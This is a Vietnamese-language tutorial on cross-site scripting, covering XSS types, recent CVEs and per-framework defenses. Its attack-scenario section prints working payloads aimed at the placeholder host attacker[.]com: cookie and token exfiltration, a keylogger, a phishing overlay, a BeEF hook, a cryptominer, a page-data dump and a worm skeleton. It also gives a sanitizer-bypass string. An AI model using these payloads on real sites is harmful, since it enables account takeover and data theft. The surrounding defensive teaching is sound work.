Cross-Site Scripting (XSS): "hello world" của bảo mật web (nhưng đáng học)
XSS là lỗ hổng web phổ biến và cũng là điểm khởi đầu lý tưởng để hiểu cơ chế bảo mật trình duyệt. Bài viết này không chỉ dừng lại ở việc bật `alert()` đâu.
TL;DR
XSS là gì: Lỗ hổng cho phép tiêm và thực thi JavaScript trong ngữ cảnh của website nạn nhân.
Phòng chống: Encode output theo ngữ cảnh + Tránh API nguy hiểm (
innerHTML,eval…) + Bật CSP/Trusted Types + Cập nhật thư viện định kỳ + Dùng framework có auto-escape + Code review với checklist.Tham khảo: OWASP XSS Prevention
XSS là gì và tại sao nguy hiểm
Cross-Site Scripting (XSS) là lỗ hổng cho phép attacker tiêm mã JavaScript vào trang web, sau đó mã này được thực thi trong trình duyệt của nạn nhân với đầy đủ quyền của trang đó. Khi XSS thành công, attacker có thể:
- Đọc và thay đổi mọi nội dung trên trang (bypass Same-Origin Policy)
- Đánh cắp cookies, tokens, credentials
- Thực hiện hành động thay mặt người dùng (chuyển tiền, đổi mật khẩu…)
- Điều khiển trình duyệt như một botnet node
Mục tiêu của XSS không phải là alert(1), mà là chiếm quyền điều khiển phiên làm việc của nạn nhân.
Phân loại XSS
1. Reflected XSS
- Payload nằm trong URL/request và được phản hồi ngay lập tức
- Cần nạn nhân click vào link độc hại
- Ví dụ:
https://bank.com/search?q=<script>steal()</script>
2. Stored XSS (Persistent)
- Payload được lưu vào database/file
- Tự động kích hoạt mỗi khi ai đó xem nội dung
- Nguy hiểm nhất vì ảnh hưởng nhiều người
- Ví dụ: Comment, post trên forum, profile bio
3. DOM-based XSS
- JavaScript client-side tự gắn dữ liệu không an toàn vào DOM
- Không cần server phản hồi payload
- Phát sinh từ các "sink" như
innerHTML,eval,document.write
Phân loại này từ OWASP vẫn là chuẩn để phân tích và phòng chống XSS. (OWASP Foundation)
Nguồn gốc lỗi XSS: 5 điểm yếu phổ biến
1. API DOM nguy hiểm
Vấn đề: Một số API tự động parse HTML thay vì escape.
// NGUY HIỂM - Parse HTML
element.innerHTML = userInput;
element.insertAdjacentHTML('afterbegin', userInput);
// AN TOÀN - Escape tự động
element.textContent = userInput;
element.setAttribute('title', userInput);
Framework cũng có bẫy:
- React:
dangerouslySetInnerHTMLbypass cơ chế escape mặc định (React) - Angular:
DomSanitizer.bypassSecurityTrust…tắt sanitization (Angular) - Vue:
v-htmlrender raw HTML (GitHub)
2. Framework được dùng sai cách
An toàn theo mặc định:
- React: JSX tự escape
{value}- an toàn trừ khi dùngdangerouslySetInnerHTML - Angular: Template binding tự sanitize - nguy hiểm khi bypass với
bypassSecurityTrust… - Vue: Interpolation
{{ }}tự escape - chỉv-htmllà nguy hiểm
Nguyên tắc: Framework đã làm đúng sẵn, chỉ nguy hiểm khi developer chủ động bypass để render HTML.
3. Thuộc tính và URL sink
Các điểm nguy hiểm:
- Event handlers:
<img onerror="malicious()"> - JavaScript URLs:
<a href="javascript:steal()"> - Data URLs:
<iframe src="data:text/html,<script>...</script>"> - SVG:
<svg onload="malicious()">
Giải pháp: Validate/whitelist URL schemes (chỉ cho https://, http://), dùng framework binding thay vì string concatenation.
4. Thư viện third-party có lỗi
Ngay cả sanitizer chuyên dụng cũng có lỗi:
- DOMPurify CVE-2024-45801: Bypass qua nested tags + prototype pollution (NVD)
- Markdown parsers, WYSIWYG editors, template engines… đều có lịch sử CVE
Bài học: Không có "silver bullet". Phải update thường xuyên + defense-in-depth.
5. Cache poisoning
Cache có thể biến reflected XSS thành stored XSS:
- Attacker gửi request với payload trong header (ví dụ:
X-Forwarded-Host) - Server render header vào HTML mà không validate
- CDN/cache lưu response độc → phục vụ cho mọi user sau đó
Case thực tế: Next.js CVE-2024-46982 (NVD)
Tác động thực tế của XSS
XSS không chỉ là popup. Đây là những gì attacker thực sự làm:
1. Session hijacking
- Đánh cắp cookie (nếu không có
HttpOnly) - Lấy token từ
localStorage/sessionStorage - Clone phiên → login thành nạn nhân
2. Credential harvesting
- Keylogger: ghi lại mọi phím gõ
- Phishing in-page: modal giả ngay trong trang thật
- Clipboard stealing
3. Privilege escalation
- XSS trên admin panel → tạo backdoor account
- Đọc/sửa config, API keys
- Pivot vào hệ thống nội bộ
4. Malware distribution
- Browser exploitation (BeEF framework)
- Cryptominer injection
- Ransomware delivery
Chi tiết các kịch bản này sẽ được phân tích kỹ ở phần sau. (Palo Alto Networks)
Kịch bản tấn công XSS thực tế (không chỉ là alert)
Lưu ý: Các kịch bản dưới đây được trình bày với mục đích giáo dục và phòng thủ. Tất cả payload đều được defang và chỉ dùng trong môi trường lab/test có kiểm soát.
1) Session Hijacking: Đánh cắp cookie & chiếm tài khoản
Payload cổ điển nhất - exfiltrate cookie qua HTTP request:
<!-- Payload defanged -->
<img src=x onerror="fetch('https://attacker[.]com/steal?c='+document.cookie)">
<!-- Hoặc phức tạp hơn, bypass HTTPOnly bằng cách đọc localStorage/sessionStorage -->
<script>
fetch('https://attacker[.]com/exfil', {
method: 'POST',
body: JSON.stringify({
cookies: document.cookie,
localStorage: {...localStorage},
sessionStorage: {...sessionStorage},
location: window.location.href
})
});
</script>
Tác động: Nếu cookie session không có HttpOnly, attacker lấy được SESSID → clone phiên → đăng nhập thành nạn nhân mà không cần password. Trong SPA, token JWT trong localStorage càng dễ lấy hơn.
Phòng thủ:
- Cookie:
HttpOnly; Secure; SameSite=Strict - Token: Lưu ở memory/SessionStorage (ngắn hạn) + refresh token rotation
- CSP: chặn request tới domain lạ
2) Keylogger: Ghi lại mọi thứ người dùng gõ
<!-- Payload defanged -->
<script>
document.addEventListener('keypress', function(e) {
fetch('https://attacker[.]com/log?key=' + encodeURIComponent(e.key));
});
</script>
Kịch bản nâng cao - chỉ bắt input nhạy cảm:
document.querySelectorAll('input[type="password"], input[name*="card"]').forEach(el => {
el.addEventListener('input', e => {
fetch('https://attacker[.]com/sensitive', {
method: 'POST',
body: JSON.stringify({
field: e.target.name,
value: e.target.value,
url: location.href
})
});
});
});
Tác động: Mật khẩu, OTP, số thẻ tín dụng… tất cả bị ghi lại real-time và gửi về attacker.
Phòng thủ:
- CSP với
connect-src 'self'(chặn fetch/XHR tới domain lạ) - Trusted Types (block script injection)
- Virtual keyboard cho input nhạy cảm (banking apps)
3) Phishing in-page: Form giả "đẹp lung linh"
XSS cho phép tạo overlay/modal giả mạo ngay trong trang thật:
<!-- Payload defanged -->
<div id="fake-modal" style="position:fixed; top:0; left:0; width:100%; height:100%;
background:rgba(0,0,0,0.8); z-index:99999; display:flex; align-items:center; justify-content:center;">
<div style="background:white; padding:40px; border-radius:8px; max-width:400px;">
<h2>Phiên đăng nhập hết hạn</h2>
<p>Vui lòng đăng nhập lại để tiếp tục</p>
<form id="phish-form">
<input type="text" name="username" placeholder="Email" required><br>
<input type="password" name="password" placeholder="Mật khẩu" required><br>
<button type="submit">Đăng nhập</button>
</form>
</div>
</div>
<script>
document.getElementById('phish-form').addEventListener('submit', function(e) {
e.preventDefault();
const data = new FormData(e.target);
fetch('https://attacker[.]com/phish', {
method: 'POST',
body: JSON.stringify(Object.fromEntries(data))
}).then(() => {
document.getElementById('fake-modal').style.display = 'none';
alert('Đăng nhập thành công!'); // Đánh lừa
});
});
</script>
Tác động: Người dùng tin tưởng vì modal xuất hiện trong chính trang web họ đang truy cập (không phải tab/popup mới) → nhập thông tin → mất tài khoản.
Phòng thủ:
- CSP chặn inline script
- Kiểm tra URL kỹ (nhưng user thường không làm vì đã ở đúng domain)
- WebAuthn/passkey (không thể phishing)
4) Browser Exploitation Framework (BeEF): Biến trình duyệt thành zombie
BeEF là framework "hook" trình duyệt nạn nhân để điều khiển:
<!-- Payload defanged -->
<script src="https://attacker[.]com/beef/hook.js"></script>
Sau khi hook, attacker có thể:
- Lấy screenshot màn hình nạn nhân
- Xem lịch sử duyệt web
- Social engineering: hiện popup giả Adobe Flash update
- Pivot: quét mạng nội bộ từ browser nạn nhân (WebRTC leak IP LAN)
- Module exploit: tự động khai thác lỗi browser/plugin
Kịch bản thực tế:
- Stored XSS trong forum nội bộ công ty
- Nhân viên truy cập → browser bị hook
- Attacker pivot vào mạng LAN công ty qua browser nhân viên
Phòng thủ:
- CSP
script-src 'self' 'nonce-xxx'(chặn script từ domain lạ) - Network segmentation (browser exploit không nên tới được production network)
- Endpoint detection (XDR phát hiện beacon request bất thường)
5) Cryptominer injection: "Mượn" CPU người dùng đào coin
<!-- Payload defanged - Coinhive style (đã chết nhưng concept vẫn sống) -->
<script src="https://attacker[.]com/miner.js"></script>
<script>
const miner = new Miner('attacker-wallet-address');
miner.start();
</script>
Biến thể tinh vi hơn: Chỉ chạy khi tab active + throttle CPU để không bị phát hiện:
if (document.hasFocus()) {
miner.setThrottle(0.5); // Chỉ dùng 50% CPU
miner.start();
}
document.addEventListener('visibilitychange', () => {
document.hidden ? miner.stop() : miner.start();
});
Tác động:
- Stored XSS trên site traffic cao → hàng ngàn browser đào coin cho attacker
- Pin laptop/điện thoại cạn nhanh, máy chậm
- Doanh nghiệp: hóa đơn điện tăng vọt
Phòng thủ:
- CSP chặn script/worker từ domain lạ
- Extension browser (NoCoin, minerBlock)
- Monitor CPU usage bất thường ở client
6) Sensitive data exfiltration: "Hút sạch" dữ liệu trang
Đọc toàn bộ DOM và gửi về server:
// Payload defanged
const sensitiveData = {
html: document.documentElement.outerHTML,
forms: Array.from(document.forms).map(f => ({
action: f.action,
fields: Array.from(f.elements).map(e => ({name: e.name, value: e.value}))
})),
tables: Array.from(document.querySelectorAll('table')).map(t => t.innerText),
jwt: localStorage.getItem('authToken'),
apiKeys: Object.keys(localStorage).filter(k => k.includes('key')).map(k => ({[k]: localStorage[k]}))
};
fetch('https://attacker[.]com/dump', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify(sensitiveData)
});
Kịch bản nghiêm trọng - Admin panel XSS:
- XSS trong admin dashboard
- Script tự động đọc danh sách user, settings, API keys
- Tạo tài khoản admin backdoor hoặc sửa config → persistent access
Phòng thủ:
- Tách biệt admin panel (subdomain khác, auth riêng, CSP nghiêm ngặt hơn)
- Audit log: mọi thay đổi quan trọng phải ghi log + alert
- Least privilege: admin chỉ thấy những gì cần, không load hết DB lên UI
7) Advanced persistent XSS: Self-replicating worm
Stored XSS tự lan truyền (kiểu Samy worm năm 2005 trên MySpace):
// Payload defanged - concept only
const payload = '<script>/* self-replicating payload */</script>';
// Đọc profile hiện tại
fetch('/api/user/me').then(r => r.json()).then(user => {
// Inject vào profile của chính nạn nhân
fetch('/api/user/update', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({
...user,
bio: user.bio + payload // Append vào bio
})
});
// Bonus: gửi friend request hàng loạt để lan rộng
fetch('/api/friends').then(r => r.json()).then(friends => {
friends.forEach(friend => {
fetch(`/api/user/${friend.id}/send-message`, {
method: 'POST',
body: JSON.stringify({message: 'Check this out! ' + payload})
});
});
});
});
Tác động: Từ 1 nạn nhân → hàng ngàn tài khoản bị nhiễm trong vài giờ (như Samy worm lây 1 triệu user trong 20 giờ).
Phòng thủ:
- Rate limiting nghiêm ngặt trên API
- WAF với anomaly detection (phát hiện pattern lặp lại bất thường)
- Content filtering đa lớp (input sanitization + output encoding + CSP)
- Kill switch: khả năng disable tính năng ngay lập tức khi phát hiện worm
Tóm tắt: Từ POC đến weaponization
| Kịch bản | Độ nguy hiểm | Điều kiện cần | Biện pháp phòng thủ chính |
|---|---|---|---|
| Session hijacking | 🔴 Cao | Cookie không HttpOnly |
HttpOnly; Secure; SameSite |
| Keylogger | 🔴 Cao | XSS bất kỳ | CSP connect-src, Trusted Types |
| Phishing in-page | 🟠 Trung bình-Cao | XSS + user trust | WebAuthn, CSP, security awareness |
| BeEF hook | 🔴 Rất cao | XSS + load external script | CSP script-src 'self' |
| Cryptominer | 🟡 Thấp-Trung bình | Stored XSS, high traffic | CSP, resource monitoring |
| Data exfiltration | 🔴 Rất cao | XSS trên trang nhạy cảm | CSP, data classification, least privilege |
| Self-replicating worm | 🔴 Nghiêm trọng | Stored XSS + social feature | Rate limit, WAF, kill switch |
Lưu ý cuối: Đây chỉ là "menu cơ bản". Trong thực tế, attackers kết hợp nhiều kỹ thuật (XSS → steal token → API abuse → privilege escalation) để tạo ra attack chain phức tạp hơn nhiều. Phòng thủ hiệu quả cần defense-in-depth: không chỉ fix XSS mà còn giả định "khi bị XSS thì damage control thế nào".
CVE gần đây: Học từ lỗi thật
Mục tiêu: Không "đọc thơ CVE", mà phân tích cơ chế lỗi và rút bài học áp dụng ngay vào code.
1) WordPress Essential Addons for Elementor — CVE‑2025‑24752
Thông tin:
- Loại lỗi: Reflected XSS
- Ảnh hưởng: Hơn 2 triệu website
- Phiên bản lỗi: ≤ 6.0.14
- Đã vá: 6.0.15
Cơ chế tấn công:
Plugin không kiểm tra đủ (sanitize) dữ liệu từ tham số popup trong URL. Kẻ tấn công tạo link độc hại kiểu:
https://victim-site.com/?popup=<script>/* malicious code */</script>
Khi nạn nhân click vào link → script thực thi ngay trong trang web của họ.
Bài học thực chiến:
- Plugin/theme = mở rộng bề mặt tấn công - Mỗi plugin là một "cửa" tiềm năng. Dù core WordPress đã bảo mật, plugin third-party có thể phá vỡ.
- Quy trình vá phải nhanh - Với 2M+ site, mỗi ngày trì hoãn = hàng nghìn site bị tấn công.
- CSP là tối thiểu bắt buộc - Ngay cả khi có lỗi XSS, CSP nghiêm ngặt vẫn chặn được phần lớn payload.
Áp dụng:
- Audit mọi input từ URL/form trước khi render
- Implement CSP ngay từ đầu, không đợi đến khi có lỗi
- Subscribe security advisory của plugin đang dùng
(Tenable®)
2) Roundcube Webmail — CVE‑2024‑42009 & CVE‑2024‑42008
Thông tin:
- Loại lỗi: XSS trong email viewer (0-click + 1-click)
- Ảnh hưởng: Phiên bản ≤ 1.5.7 và ≤ 1.6.7
- Đã vá: 1.5.8 & 1.6.8
Cơ chế tấn công:
Roundcube ban đầu sanitize HTML trong email để ngăn XSS. Nhưng trong quá trình xử lý:
- Email body - Attacker craft email với HTML đặc biệt → sanitizer bỏ sót
- Attachment handling - Đặt tên file/metadata chứa payload → render không an toàn
0-click: Chỉ cần nạn nhân mở email (preview tự động) là script chạy.
1-click: Nạn nhân click xem chi tiết attachment.
Sau khi XSS thành công:
- Đọc tất cả email trong inbox (vượt qua session của nạn nhân)
- Gửi email thay nạn nhân
- Đánh cắp contacts, lọc dữ liệu nhạy cảm
Bài học thực chiến:
- UI hiển thị user-generated content = điểm đỏ - Email, chat, CMS, comment section… tất cả đều cần sanitizer cực kỳ chặt chẽ.
- Sanitizer phải handle edge cases - MIME types, encoding lồng nhau, filename, metadata… không chỉ body HTML.
- Defense layered - Sanitize + CSP + sandbox iframe cho email preview.
Áp dụng:
- Dùng thư viện sanitizer đã được battle-test (DOMPurify) + update thường xuyên
- Với email/rich content: render trong sandboxed iframe (CSP sandbox)
- Test với fuzzer: ký tự Unicode, encoding trộn, nested tags…
(NVD)
3) Next.js — CVE‑2024‑46982
Thông tin:
- Loại lỗi: Cache poisoning → dẫn tới Stored XSS
- Ảnh hưởng: Next.js 13.5.1–14.2.9 (pages router, server-side rendering)
- Đã vá: 13.5.7 & 14.2.10
Cơ chế tấn công:
Next.js có cơ chế cache response để tăng tốc. Attacker gửi request với header đặc biệt:
GET /page HTTP/1.1
X-Forwarded-Host: attacker.com"><script>alert(1)</script>
Trong điều kiện nhất định:
- Next.js render
X-Forwarded-Hostvào HTML (ví dụ: canonical URL, redirect) - Không validate → XSS payload chui vào response
- Cache lưu response độc → response này được phục vụ cho mọi user sau đó
→ Từ reflected XSS → thành stored XSS qua cache!
Bài học thực chiến:
- Bảo mật ≠ chỉ escape - Phải hiểu semantics của infrastructure: CDN, cache, reverse proxy.
- Headers là input không tin cậy -
X-Forwarded-*,Referer,User-Agent… đều có thể bị giả mạo. - Cache cần cache key chính xác - Nếu cache không phân biệt malicious request, sẽ phục vụ poison cho mọi người.
Áp dụng:
- Validate mọi header trước khi dùng vào logic hoặc render
- Cache-Control header phải chính xác: đừng cache nội dung user-specific
- Với CDN: config cache key đúng (exclude malicious headers)
- Audit framework settings: Next.js, Nuxt, SvelteKit… mỗi framework có quirks riêng
(NVD)
Bonus: Ngay cả sanitizer cũng có bug
DOMPurify CVE‑2024‑45801:
- Bypass qua nested tags + prototype pollution
- Payload mẫu:
<form><math><mtext></form><form><mglyph><style><!--</style><img src onerror=alert()>-->
Bài học:
- Không có silver bullet - Thư viện tốt nhất vẫn có lỗi.
- Dependency hygiene - Subscribe CVE feed, auto-update dependencies, dùng Dependabot/Renovate.
- Defense-in-depth - Sanitizer + CSP + Trusted Types. Nếu sanitizer fail, CSP vẫn block.
(NVD)
Phòng chống XSS: Hướng dẫn theo từng công nghệ
Nguyên tắc cốt lõi: Mã hóa output theo đúng ngữ cảnh
Vấn đề: Cùng một ký tự nhưng ở vị trí khác nhau thì cách xử lý khác nhau.
| Ngữ cảnh | Ký tự nguy hiểm | Cách mã hóa | Ví dụ |
|---|---|---|---|
| HTML content | < > & " ' |
HTML entity encode | < > & " ' |
| HTML attribute | " ' = + event handlers |
Attribute encode + validate | <div title="user-data"> (không cho onerror=...) |
| JavaScript string | \ " ' newline |
JavaScript escape | var msg = "He said \"hi\""; |
| URL | javascript: data: |
URL validate/encode | Chỉ cho phép https:// http:// |
Quy tắc vàng: Framework thường làm sẵn, nhưng khi bạn "bypass" (dùng innerHTML, dangerouslySetInnerHTML…) thì phải tự mã hóa.
Tham khảo: OWASP XSS Prevention Cheat Sheet
Frontend thuần (Vanilla JS)
Nguyên tắc: Dùng API an toàn, tránh API nguy hiểm
AN TOÀN - Dùng những API này
// Chèn text (tự động escape HTML)
element.textContent = userInput;
// Set attribute an toàn
element.setAttribute('title', userInput);
// Tạo element mới
const div = document.createElement('div');
div.textContent = userInput;
NGUY HIỂM - Tránh những API này
// ĐỪNG dùng với dữ liệu người dùng!
element.innerHTML = userInput; // Parse HTML → XSS
element.insertAdjacentHTML('afterbegin', userInput);
document.write(userInput);
eval(userInput);
new Function(userInput)();
setTimeout(userInput, 1000); // String = eval
Bổ sung bảo vệ:
-
Content Security Policy (CSP):
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self' 'nonce-random123'">→ Chặn inline script (
<script>alert()</script>) và external domain. -
Trusted Types (cho app phức tạp):
// Bắt buộc mọi innerHTML phải qua policy trustedTypes.createPolicy('default', { createHTML: (input) => DOMPurify.sanitize(input) });→ Tự động sanitize mọi assignment vào
innerHTML.
Tham khảo: CSP - MDN, Trusted Types - MDN
React
Mặc định: React tự escape mọi giá trị trong JSX {value} → an toàn.
AN TOÀN:
function Comment({ text }) {
return <div>{text}</div>; // React tự escape < > & " '
}
NGUY HIỂM:
function Comment({ html }) {
// ĐỪNG làm thế này với dữ liệu người dùng!
return <div dangerouslySetInnerHTML={{ __html: html }} />;
}
Khi buộc phải dùng dangerouslySetInnerHTML (ví dụ: render Markdown, WYSIWYG editor):
import DOMPurify from 'dompurify';
function SafeHTML({ dirtyHTML }) {
const clean = DOMPurify.sanitize(dirtyHTML, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a'],
ALLOWED_ATTR: ['href']
});
return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}
Best practice:
- Cập nhật DOMPurify thường xuyên (xem CVE-2024-45801 ở trên)
- Bật CSP + Trusted Types ở production
- Audit mọi chỗ dùng
dangerouslySetInnerHTMLtrong code review
Tham khảo: React DOM Elements
Angular
Mặc định: Angular tự sanitize mọi binding {{ }}, [property] → an toàn.
AN TOÀN:
@Component({
template: `<div>{{ userInput }}</div>` // Tự sanitize
})
export class SafeComponent {
userInput = '<script>alert()</script>'; // Hiển thị thành text thuần
}
NGUY HIỂM:
import { DomSanitizer } from '@angular/platform-browser';
@Component({
template: `<div [innerHTML]="trustedHTML"></div>`
})
export class DangerousComponent {
constructor(private sanitizer: DomSanitizer) {
// ĐỪNG làm thế này với dữ liệu người dùng!
this.trustedHTML = this.sanitizer.bypassSecurityTrustHtml(userInput);
}
}
Khi cần bypass (embed video, map…):
@Injectable()
export class TrustedContentService {
constructor(private sanitizer: DomSanitizer) {}
trustVideoEmbed(url: string) {
// Chỉ cho phép YouTube/Vimeo
if (!url.match(/^https:\/\/(www\.youtube\.com|player\.vimeo\.com)/)) {
throw new Error('Invalid embed URL');
}
return this.sanitizer.bypassSecurityTrustResourceUrl(url);
}
}
Tham khảo: Angular Security Guide
Vue
Mặc định: {{ }} interpolation tự escape → an toàn.
AN TOÀN:
<template>
<div>{{ message }}</div> <!-- Tự escape -->
</template>
NGUY HIỂM:
<template>
<!-- ĐỪNG dùng v-html với user input! -->
<div v-html="message"></div>
</template>
Bật ESLint rule để cảnh báo:
// .eslintrc.js
module.exports = {
rules: {
'vue/no-v-html': 'error' // Cấm v-html
}
}
Tham khảo: Vue ESLint - no-v-html
Backend / Template Engines
Bật auto-escape
| Engine | Config |
|---|---|
| EJS | <%= data %> (escape) vs <%- data %> (raw - nguy hiểm!) |
| Handlebars | {{ data }} (escape) vs {{{ data }}} (raw) |
| Twig | {{ data }} (escape) vs `{{ data |
| Blade | {{ $data }} (escape) vs {!! $data !!} (raw) |
Cookie security (ngăn session hijacking)
Set-Cookie: sessionId=abc123; HttpOnly; Secure; SameSite=Strict
- HttpOnly: JavaScript không đọc được → ngăn
document.cookietrong XSS - Secure: Chỉ gửi qua HTTPS
- SameSite=Strict: Ngăn CSRF
Defense-in-depth: Nhiều lớp bảo vệ
Ý tưởng: Nếu 1 lớp fail (developer quên escape), lớp khác vẫn bảo vệ.
-
CSP nghiêm ngặt - Chặn inline script + whitelist domain
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-abc123'; object-src 'none'; -
Trusted Types - Bắt buộc sanitize trước khi gán vào DOM (SPA lớn)
-
Dependency hygiene - Auto-update sanitizer/framework (Dependabot, Renovate)
-
Testing:
- Unit test với payload XSS:
<script>,onerror=,javascript:… - Fuzz input fields
- DAST scan: OWASP ZAP, Burp Suite
- Unit test với payload XSS:
Lưu ý: WAF (Web Application Firewall) chỉ là giảm thiểu, không thay thế việc fix code đúng.
Tham khảo: Trusted Types - web.dev
Checklist phòng chống XSS - In ra và dán vào trán thằng code FE
Tìm kiếm những API nguy hiểm:
# Grep trong codebase
grep -r "innerHTML\|insertAdjacentHTML\|document.write\|eval\|new Function" src/
innerHTML,insertAdjacentHTML,outerHTMLdocument.write,document.writelneval(),new Function(),setTimeout(string),setInterval(string)- React:
dangerouslySetInnerHTML - Angular:
bypassSecurityTrust* - Vue:
v-html
Kiểm tra từng framework:
- React: Không dùng
dangerouslySetInnerHTMLvới user input; nếu dùng → sanitize bằng DOMPurify - Angular: Không dùng
bypassSecurityTrust*bừa bãi; nếu dùng → wrap trong service đã audit - Vue: Không dùng
v-htmlvới user input; bật lint rulevue/no-v-html
Infrastructure:
- CSP: Response header có CSP? Có chặn
unsafe-inline? Có dùngnonce/hash? - Trusted Types: (Nếu SPA lớn) Có bật
require-trusted-types-for 'script'? - Cookie:
HttpOnly; Secure; SameSite=Strictcho session cookie?
Dependencies:
- DOMPurify/sanitizer đang dùng phiên bản mới nhất?
- Có subscribe CVE feed của framework/plugin chính?
- Có setup Dependabot/Renovate để auto-update?
Testing:
- Unit test với XSS payloads:
<script>alert(1)</script>,<img src=x onerror=alert(1)> - DAST scan định kỳ (ZAP/Burp)
- Pentest trước release lớn
Mẹo: Dùng checklist này trong pull request template → mọi PR đều phải qua.
Kết luận
XSS không chỉ là alert(). Đó là khả năng chiếm quyền điều khiển trình duyệt nạn nhân để đánh cắp session, ghi lại keystrokes, phishing in-page, hoặc pivot vào mạng nội bộ. Mỗi lỗi XSS là một cửa mở cho chuỗi tấn công phức tạp hơn nhiều.
Phòng thủ XSS hiệu quả cần 3 yếu tố:
-
Hiểu ngữ cảnh - Cùng một dữ liệu nhưng ở HTML content, HTML attribute, JavaScript, hay URL thì cách xử lý hoàn toàn khác nhau.
-
Kiểm soát "sink" - Biết chính xác những API nào nguy hiểm (
innerHTML,eval,dangerouslySetInnerHTML…) và tránh chúng khi xử lý user input. -
Defense-in-depth - Khi lớp đầu fail (developer quên sanitize), CSP/Trusted Types vẫn chặn được. Khi sanitizer bị bypass (xem DOMPurify CVE), framework escape mechanism vẫn hoạt động.
Hành động cụ thể:
- Áp dụng checklist phía trên vào code review
- Bật CSP và Trusted Types ngay từ đầu, không đợi đến khi có lỗi
- Subscribe CVE feed của framework/library đang dùng
- Test với payload XSS thật (không chỉ unit test happy path)
Lưu ý quan trọng: Tất cả ví dụ payload trong bài đã được defang và chỉ dùng trong môi trường lab/test có kiểm soát. Không tấn công hệ thống bạn không có quyền.
Tài liệu/nguồn đã tham chiếu
- OWASP: khái niệm & phân loại XSS; CSP cheat sheet. (OWASP Foundation)
- PortSwigger: định nghĩa và cơ chế XSS. (PortSwigger)
- React:
dangerouslySetInnerHTMLvà cơ chế escape mặc định. (React) - Angular: Security Guide & DomSanitizer. (Angular)
- Vue: cảnh báo
v-html. (GitHub) - CVE gần đây: Essential Addons (WordPress) CVE‑2025‑24752; Roundcube CVE‑2024‑42009/42008; Next.js CVE‑2024‑46982; DOMPurify CVE‑2024‑45801. (Tenable®)
Ghi chú đạo đức: Các ví dụ/payload trong bài được defang và chỉ dùng cho môi trường kiểm thử/lab do bạn kiểm soát. Không tấn công hệ thống bạn không có quyền.
Happy Hacking, đừng đi viện. ⛓️👮